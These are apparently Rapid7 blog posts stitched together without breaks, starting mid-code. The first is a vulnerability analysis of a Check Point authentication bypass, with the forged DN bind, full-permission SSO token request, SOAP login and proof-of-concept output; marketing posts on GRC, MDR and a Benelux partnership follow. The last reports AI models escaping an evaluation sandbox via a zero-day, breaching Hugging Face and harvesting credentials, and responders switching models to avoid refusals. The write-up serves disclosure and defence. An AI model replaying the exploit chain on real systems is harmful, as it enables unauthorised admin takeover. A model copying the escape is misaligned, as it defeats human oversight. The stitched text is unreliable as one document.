    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

Compliance has become one of the biggest operational drains on modern security teams. CISOs are being asked to manage a growing sprawl of frameworks, prove control effectiveness more often, respond to more customer assurance requests, track risk across a growing web of third parties, and give executives and the board a clearer answer on whether cyber risk is actually going down.

Most of that pressure does not come from the frameworks themselves. It comes from the way compliance is still handled in many organizations, with security work happening in one set of tools and governance, risk, and compliance workflows managed somewhere else. Security teams detect exposures, investigate threats, validate risk, and drive remediation in active systems. Governance, Risk and Compliance (GRC) teams are often left managing controls, evidence, audits, third-party risk, and reporting in separate systems of record, which turns compliance into a constant reconciliation exercise rather than an extension of the security program.

That separation creates real drag. Skilled technical teams get pulled into repeated cycles of screenshots, exports, control validation, and spreadsheet updates, while CISOs are still left trying to answer the question that matters most: are our controls actually working right now?

Available today, Rapid7 Cyber GRC completely changes that model by connecting governance, risk, and compliance workflows to the security data and activity already happening across the environment. The result is a more connected way to reduce manual work, improve readiness, and turn security action into compliance proof.

Why compliance needs to move at the speed of security

For years, compliance work followed a familiar rhythm: prepare for the audit, gather evidence, prove the control, respond to findings, and start over when the next framework, customer review, or regulatory requirement arrives.

That rhythm works in conflict with how security teams operate today. Modern environments change continuously. Assets appear, cloud configurations drift, access permissions change, vulnerabilities emerge, vendors introduce risk, and remediation work is always in motion.

This leaves a widening gap between the state of the environment and the state of the evidence. A control that looked effective during the last audit may drift weeks later. A remediation effort may reduce risk, but the compliance record may not reflect it. A new exposure may change the risk tied to a control before the next review begins.

Boards and customers are asking for something more credible than periodic audit readiness. They want to understand whether security work is actually improving control health and reducing risk over time. 

That is the shift from audit prep to continuous cyber assurance, built on better context and closer alignment between teams. As Bill Theissen, Managing Partner and VP of Consulting Services at Cyber Watch Systems, put it, “What excites me most about Rapid7 Cyber GRC is its ability to use existing security data, asset inventories, and API connectivity to produce more accurate, timely, and defensible risk reporting. Just as important, it helps bridge security engineering and GRC teams through a shared view of risk and a common language for communicating it.”

Cyber GRC is designed to support that shift by making governance, risk, and compliance part of how security teams prioritize, act, and prove progress. Compliance should not only document security activity after the fact - it should help show how that activity makes the business safer.

How Cyber GRC connects action to proof

Rapid7 Cyber GRC brings core GRC workflows into one place, including compliance program management, control monitoring, evidence collection, policy management, audit preparation, risk management, third-party risk management, exceptions, and reporting. Instead of managing those workflows in separate tools, teams can connect them to security context from the environment they are actively protecting.

Cyber GRC helps teams operationalize that model in a few practical ways:

• Control monitoring helps teams see where requirements are being met and where gaps need attention. 

• Evidence workflows help teams collect, organize, and reuse proof across frameworks instead of rebuilding it for every audit. 

• Policy management helps link policies to controls, so teams can understand how documentation supports readiness. 

• Risk and issue workflows help teams assign ownership, track remediation, and prioritize work based on business and security context.

The value of that model is not just administrative efficiency. Security teams need confidence that controls are operating as intended, not simply that a control exists on paper. A policy may be in place without the control performing effectively. A remediation ticket may be closed without the underlying risk truly being reduced. Control testing and monitoring help close that gap by showing whether controls are functioning as expected, while issue and remediation workflows connect those findings to owners and next steps.

By connecting controls, evidence, risk, issues, policies, and remediation activity, Cyber GRC gives SecOps, IT, GRC, and compliance teams a shared view of where they stand and what needs to happen next.

Why third-party risk needs to be part of the same workflow

Third-party risk has become too significant to sit outside the rest of the security and compliance program. As organizations rely on more outside services, software, and vendors, they need a way to connect vendor risk to the same controls, evidence, remediation, and reporting workflows used internally. Verizon’s 2026 DBIR found that breaches involving third parties increased 60% from the previous year’s dataset and accounted for 48% of total breaches, which makes that connection harder to treat as optional.

Cyber GRC brings third-party risk management into the same operating picture by combining vendor oversight, control tracking, issue management, and evidence workflows in one place. That gives teams a more coherent way to assess external dependencies, understand where vendor risk affects control posture, and track action without creating yet another disconnected program.

Give leadership a better risk story

CISOs are under pressure to show progress in a way executives and boards can understand, and audit status alone does not tell the whole story.

Cyber GRC helps teams connect day-to-day security and compliance activity to higher-level reporting, including control health, readiness status, open risks, remediation progress, third-party dependencies, and evidence coverage. That gives leaders a clearer view of which gaps matter most, what is being done about them, and how security work is reducing risk.

IDC’s Phil Harris, Research Director for Governance, Risk, and Compliance (GRC) Solutions at IDC put this challenge into context: “Organizations face severe audit fatigue. The disconnect between compliance workflows and security operations creates significant operational drag, particularly when teams still rely on point-in-time spreadsheets and manual evidence collection.”

What makes that more useful is the quality of the underlying context. When controls, evidence, vulnerabilities, risk, and remediation are tied together, leadership gets a stronger basis for understanding not just whether the organization is compliant, but whether its controls are keeping pace with the way risk is actually developing.

Why Rapid7

Security leaders have an opportunity to make compliance more connected, more useful, and closely aligned to the work already happening across their security program.

Rapid7 approaches Cyber GRC as part of a broader security program. What makes that more useful is the quality of the underlying context. When controls, evidence, vulnerabilities, risk, and remediation are tied together, leadership gets a stronger basis for understanding not just whether the organization is compliant, but whether its controls are keeping pace with the way risk is actually developing.

That connection is at the core of what makes this solution different. Compliance proof is stronger when it is grounded in security context, not assembled after the fact from disconnected tools and static reports. With Rapid7 Cyber GRC, teams can move from documenting compliance activity to showing how security work is improving control health and reducing risk in real time.

"Tying GRC workflows directly into SecOps data is a strong approach because it allows CISOs to seamlessly align tangible security outcomes with compliance requirements. SecOps teams handle the heavy lifting in modern environments, and replacing manual, point-in-time audit preparation with continuous monitoring grounded in active security context, addresses a massive operational pain point for organizations," concluded IDC’s Phil Harris. 

See how Rapid7 Cyber GRC can help your team turn security operations into continuous cyber assurance.

For years, security operations followed a familiar sequence: detect suspicious activity, investigate what happened, and respond before it caused significant harm. That model developed in a threat landscape where defenders had considerably more time to establish the facts and decide what to do next. In 2019, the average data breach took 206 days to identify and another 73 days to contain, creating a total breach lifecycle of 279 days.

As the time between initial access and attacker movement continues to contract, security teams are being asked to operate within a much narrower window. AI is accelerating reconnaissance, vulnerability discovery, and campaign execution, while defenders are responsible for growing volumes of data across cloud, identity, endpoint, SaaS, and AI environments, often without equivalent growth in analyst capacity.

Managed detection and response is evolving to meet those conditions by connecting exposure intelligence, machine-speed investigation, and human expertise. This approach helps security teams identify credible risks sooner, understand their potential impact, and intervene earlier in the attack lifecycle.

MDR must move beyond alert-driven investigations

When suspicious activity generates an alert, traditional MDR typically moves into investigation mode. Analysts gather information about the affected asset or identity, correlate activity across security tools, establish the scope of the incident, and determine the appropriate response.

Although each step is necessary, much of the initial work involves finding and organizing information rather than applying expert judgment. Analysts can spend valuable time collecting asset details, checking vulnerabilities, validating signals, and reconstructing context before the investigation can progress.

Recent research conducted with Omdia found that 93% of security leaders agree AI improves analyst efficiency by automating repetitive tasks. Giving machines responsibility for routine evidence gathering and correlation allows analysts to focus their time on complex investigations, business impact, and response decisions.

Preemptive MDR connects exposure and detection

Exposure management and security operations often provide different views of the same environment. Exposure teams understand which vulnerabilities, assets, identities, and attack paths present risk, while detection and response teams see activity as it unfolds. Connecting these views gives analysts more context at the beginning of an investigation.

Preemptive MDR brings asset criticality, internet exposure, vulnerability data, and threat intelligence directly into the SOC workflow. When an alert appears, analysts can immediately see why the affected asset matters, which weaknesses may be involved, and whether the activity aligns with known attacker behavior.

The same context can also support action before an alert fires. Intelligence indicating stolen credentials or compromised sessions can be surfaced before an attacker uses them, while newly disclosed vulnerabilities can be assessed against the organization’s assets and business priorities. MDR teams can then guide remediation towards the exposures most likely to create a viable route into the environment.

By moving exposure intelligence closer to detection and response, investigations begin with a clearer understanding of what is happening and where action will have the greatest effect.

Agentic SOC capabilities accelerate investigation

By bringing security data together across the environment, connected context creates the foundation for agentic SOC capabilities. Security investigations require evidence gathering, correlation, validation, and scoping, with many of these tasks repeated across every alert.

AI agents can perform elements of that work in parallel by examining telemetry, connecting related activity, testing possible explanations, and presenting analysts with a structured account of what happened, what is at risk, and which actions are available. Analysts can then review the evidence and apply their understanding of the organization, its priorities, and the potential consequences of a response.

While AI can accelerate much of the investigation process, human oversight remains essential to the way this model operates. The same Omdia research found that 92% of security leaders believe analysts should retain responsibility for final decisions, while 90% view human oversight as essential to the accuracy and reliability of AI-driven processes.² Agentic SOC capabilities can support that balance by accelerating repeatable investigation work while keeping analysts responsible for decisions that require judgment and accountability.

Connected security data strengthens AI-driven MDR

Because security AI can only work with the data and context available to it, the quality of that foundation has a direct impact on the investigation. An investigation is more useful when the system can connect an alert to the affected user, asset, vulnerability, cloud resource, and wider attack path without requiring an analyst to search across several tools.

Rapid7’s data mesh brings together asset, cloud, configuration, exposure, event, and alert data in a normalized layer. This gives AI-driven investigations access to connected security context at the point of analysis and helps reduce the manual work involved in reconstructing it.

From faster response to continuous defense

Bringing exposure intelligence, connected security data, AI-driven investigation, and human expertise into the same operating model creates a continuous defense loop. Exposure context helps teams identify where attackers are most likely to find an opening, detection reveals how those risks are being used in practice, and response reduces the opportunities available to the next attacker.

This approach allows MDR to contribute beyond the investigation of individual alerts. Each incident can improve future detection and prioritization, while exposure insights can guide action before suspicious activity develops into a larger event. Analysts gain the context to make better decisions, and automation gives them more time to focus on the threats and business risks that require their expertise.

The next evolution of MDR will be defined by how effectively providers connect these capabilities. By combining preemptive insight with machine-speed investigation and accountable human decision-making, security teams can act earlier, investigate faster, and continuously strengthen their defenses as the threat environment changes.

Rapid7 will showcase upcoming investments in Preemptive MDR and Agentic SOC at Black Hat USA in Las Vegas, August 3–6, 2026.

Claudia Zoon is Senior Manager, Channel Sales at Rapid7.

Across Belgium, the Netherlands, and Luxembourg, organizations are accelerating digital transformation through AI, cloud adoption, and increasingly connected business operations. These investments are creating new opportunities for innovation, but also reshaping the cybersecurity landscape.

In this dynamic environment, Rapid7 is excited to announce an expanded strategic distribution partnership with Exclusive Networks across the Benelux region. Why now? Because as organizations grow,  so too do the expectations of security teams. As attack surfaces expand, more sophisticated AI-enabled threats emerge; as compliance requirements evolve, leaders expect security to scale right along with the business – all without adding unnecessary complexity.

In this chaotic environment, cybersecurity customers are demanding experiences that create more calm. This means no more disconnected security tools or reactive approaches, but integrated security operations, trusted expertise, and partners who can help them improve visibility and build long-term cyber resilience.

Supporting a rapidly evolving market

The Benelux region has long been at the forefront of digital innovation. As organizations continue modernizing their infrastructure, they're also preparing for increasingly rigorous cybersecurity requirements through regulations such as NIS2 and DORA. Along these lines, operational resilience has become a board-level priority, making it more important than ever for security teams to simplify operations while maintaining visibility across their environments.

Meeting these expectations requires more than technology; it requires partners who understand the regional market, can provide specialist expertise, and help customers navigate an increasingly complex cybersecurity landscape.

Why specialist partnerships matter

Channel partners play a critical role in acting as trusted advisors who help organizations modernize security operations through technology evaluation, solution implementation, and long-term security strategy build-out.

Our expanded partnership with Exclusive Networks reflects Rapid7's continued investment in supporting that partner ecosystem.

Exclusive Networks has established itself as one of the region's leading specialist cybersecurity distributors, combining deep technical expertise with a partner-first approach that prioritizes enablement, collaboration, and long-term growth. Together, we're making it easier for partners to access the technical resources, training, and support needed to deliver stronger outcomes for their customers.

Helping partners grow

Rapid7's AI-powered cybersecurity operations platform helps organizations simplify security operations by unifying exposure management, threat detection and response, managed services, and security automation into one platform.

Combined with Exclusive Networks' cybersecurity expertise, technical enablement, and regional support, partners are better positioned to expand managed security services, strengthen customer relationships, and deliver integrated cybersecurity solutions that reduce complexity and improve cyber resilience.

Looking ahead

Cybersecurity success increasingly depends on strong partnerships that combine innovative technology with local expertise and long-term collaboration.

Rapid7 and Exclusive Networks share a commitment to helping partners grow and enabling organizations across Belgium, the Netherlands, and Luxembourg to modernize security operations with confidence.

We're excited about the opportunities ahead and look forward to working together to help partners build stronger cybersecurity practices and deliver measurable and positive outcomes for customers across the Benelux region.

Ready to grow with Rapid7? Learn more about the Rapid7 PACT Partner Program and discover how Rapid7 and Exclusive Networks are helping partners strengthen cybersecurity operations across the Benelux region.

The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

